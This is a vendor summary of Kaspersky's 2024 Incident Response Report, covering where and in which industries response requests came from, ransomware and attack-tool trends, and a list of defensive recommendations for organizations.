Kaspersky provides rapid and fully informed incident response services to organizations, ensuring impact analysis and effective remediation. Our annual report shares anonymized data about the investigations carried out by the Kaspersky Global Emergency Response Team (GERT), as well as statistics and trends in targeted attacks, ransomware and adversaries’ tools that our experts observed throughout the year in real-life incidents that required both comprehensive IR unit support and consulting services aimed at assisting organizations’ in-house expert teams.

Download the full version of the report.

Regions and industries of incident response requests

In 2024, we saw the share of incident response requests rise in most of the regions, with the majority of investigations conducted in the CIS (50.6%), the Middle East (15.7%) and Europe (10.8%).

Geographic distribution of incident response requests, 2024

The distribution of IR requests by industry followed the 2023 pattern, keeping industrial (23.5%), government (16.3%) and financial (13.3%) organizations in the top three most targeted industries. However, this year, the majority of requests came from industrial enterprises, whereas the government agencies were targeted less often than in 2023. We also observe a growing tendency in incidents related to the transportation industry — the number of requests for IR services has doubled since 2023.

Distribution of organizations that requested IR assistance, by industry, 2024

Key 2024 trends and statistics

In 2024, ransomware attacks saw an increase of 8.3 p.p. from the 2023 numbers and amounted to 41.6% of incidents overall. Our GERT experts estimate that ransomware will persist as the main threat to organizations worldwide in the upcoming year, continuing the trend of the recent years, as we observe this threat holding top positions among incidents in organizations. In the majority of infections, we encountered samples of the LockBit family (43.6%), followed by Babuk (9.1%) and Phobos (5.5%). Our investigations also revealed new ransomware families, such as ShrinkLocker and Ymir. What is more, GERT experts discovered noteworthy malicious campaigns like Tusk and a set of incidents with CVE-2023-48788 exploited.

Another alarming trend identified in real incident response cases is wider use of such tools as Mimikatz (21.8%) and PsExec (20.0%). They are commonly used during post-exploitation for password extraction and lateral movement. We also observe a strengthening tendency for data leakage to be the second most common reason for an incident response request, amounting to 16.9% of all incidents, which correlates with our assumptions regarding trends in credential access techniques.

Recommendations for preventing incidents

To protect your organization against cyberthreats and minimize the damage in the case of an attack, Kaspersky GERT experts recommend:

• Implementing a strong password policy and using multi-factor authentication
• Removing management ports from public access
• Adopting secure development practices to prevent insecure code from reaching production environments
• Establishing a zero-tolerance policy for patch management, or having compensation measures in place for public-facing applications
• Ensuring that employees maintain a high level of security awareness
• Implementing rules to detect utilities commonly used by adversaries
• Conducting frequent, regular compromise assessment activities
• Employing a security tool set that includes EDR-like telemetry
• Constantly testing the security operations team’s response times with simulated attacks
• Prohibiting the use of any software being used within the corporate network that is known to be used by attackers
• Regularly backing up your data
• Working with an Incident Response Retainer partner to address incidents with fast SLAs
• Implementing strict security programs for applications that handle personal information
• Implementing security access control over important data using DLP
• Continuously training your incident response team to maintain their expertise and stay up-to-date with the evolving threat landscape

The full 2024 Incident Response Report features additional information about real-life incidents, including new threats discovered by Kaspersky experts. We also take a closer look at APT activities, providing statistics for the most prolific groups. The report includes comprehensive analysis of initial attack vectors in correlation with the MITRE ATT&CK tactics and techniques and the full list of vulnerabilities that we detected during incident response engagements.